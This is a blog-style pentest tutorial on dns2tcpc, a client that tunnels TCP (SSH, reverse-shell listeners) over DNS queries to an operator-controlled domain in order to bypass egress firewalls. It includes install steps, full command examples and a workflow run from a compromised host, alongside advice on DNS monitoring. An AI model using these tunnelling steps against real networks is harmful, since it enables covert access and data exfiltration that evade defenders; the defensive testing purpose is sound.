Offensive Security Researcher & Quantum Cryptography Analyst

dns2tcpc: A tool for tunneling TCP traffic over DNS queries to bypass firewalls

Abdul Wahab Junaid
dns2tcpc: A tool for tunneling TCP traffic over DNS queries to bypass firewalls

dns2tcpc is the half of the dns2tcp toolset I actually run on the compromised or restricted host during an engagement — it’s the client that turns a locked-down “DNS resolution only” network into a usable path back to my infrastructure. If you’ve read my dns2tcpd article already, this one completes the picture from the client side.

What Is dns2tcpc?

dns2tcpc is the client binary of the dns2tcp suite. It connects to a dns2tcpd server over DNS queries and exposes a local TCP port that transparently tunnels to a named “resource” defined on the server (an SSH port, a web service, a reverse shell listener — whatever the server operator mapped). It’s the piece that actually lives on the target/restricted machine during a test.

Architecture and Internal Working

  1. dns2tcpc issues DNS queries for a domain the operator controls (e.g., t.yourlab.com).
  2. It encodes outbound TCP payload into the query itself (subdomain labels, encoded as base32 by default).
  3. The queries are resolved through the client network’s normal DNS path — local resolver, up through recursive resolution — until they reach the operator’s authoritative dns2tcpd server.
  4. The server decodes the payload, forwards it to the mapped backend resource, and returns response data encoded inside the DNS answer.
  5. dns2tcpc listens locally on a specified TCP port (-l) and presents this tunneled connection as a normal local socket, so any tool (ssh, curl, nc) can just connect to 127.0.0.1:<port> without knowing DNS is involved underneath.

Installation

sudo apt update
sudo apt install dns2tcp

This installs both dns2tcpc and dns2tcpd (server-side, covered in its own article).

Syntax

dns2tcpc -z <domain> -k <key> -r <resource> -l <local_port> [-c] <dns_server_ip>

Flag breakdown:

Complete Command Example and Output

Connecting to a mapped SSH resource:

$ dns2tcpc -z t.yourlab.com -k LabTestKey123 -r ssh -l 2222 192.168.1.1

Trying to resolve t.yourlab.com...
Connection to DNS server 192.168.1.1 established
Requesting resource: ssh
Server authenticated the session
Listening on 127.0.0.1:2222

Using the tunnel:

ssh -p 2222 labuser@127.0.0.1

labuser@127.0.0.1's password:
Welcome to Ubuntu 22.04 LTS
labuser@target-host:~$

This SSH session is fully encapsulated inside DNS traffic to t.yourlab.com.

Confirming with tcpdump on the client side:

sudo tcpdump -i eth0 udp port 53 -n -c 5

14:22:01.331982 IP 10.10.10.5.44210 > 192.168.1.1.53: 8871+ TXT? c3NoLWRhdGE.t.yourlab.com. (74)
14:22:01.398761 IP 192.168.1.1.53 > 10.10.10.5.44210: 8871 1/0/0 TXT (188)

Real-World Use Case (Authorized Pentest)

I typically use dns2tcpc in engagements where the client believes their egress filtering (“no outbound except DNS to our internal resolver”) is airtight:

  1. After establishing a foothold on an internal host with only DNS-out access, I drop or connect out with dns2tcpc pointed at my dns2tcpd server, mapping the sshor a reverse-shell listener resource.
  2. I show that a fully interactive shell is achievable purely by “resolving domain names,” bypassing every port-based control the client had in place.
  3. I document the exact query volume, timing, and payload characteristics captured during the test for the final report.
  4. My recommendation is almost always the same: force all endpoint DNS traffic through an inspected internal resolver (never allow direct external DNS from endpoints), and deploy DNS analytics that flag high query volume, long labels, and non-standard record type usage to a single domain.

Automation and Integration

Performance Optimization

Troubleshooting

Best Practices

Common Mistakes

FAQ

Do I need root to run dns2tcpc? Not necessarily — since it doesn’t bind to port 53 like the server does, it can often run as an unprivileged user, though local security policy may restrict raw socket or network access.

Is traffic through dns2tcpc encrypted? No, the DNS encapsulation isn’t encryption by itself. Tunnel SSH or TLS through it if confidentiality is required, as shown in the SSH example above.

Can dns2tcpc bypass any firewall? Only ones permitting outbound DNS resolution and not deeply inspecting/rate-limiting DNS query volume and structure.

How is this different from using iodine as a client? dns2tcpc tunnels specific named TCP resources (a single service/port), while iodine’s client establishes a full IP-layer network interface. dns2tcp is often simpler to set up for single-service access like SSH.

Summary

dns2tcpc is the practical, client-side half of demonstrating DNS-based TCP tunneling in an authorized penetration test. Paired with a dns2tcpd server you control, it proves that “DNS is always open” is a real, exploitable gap in many egress security models — and gives clients concrete evidence to justify DNS-layer monitoring investments.

References

Exit mobile version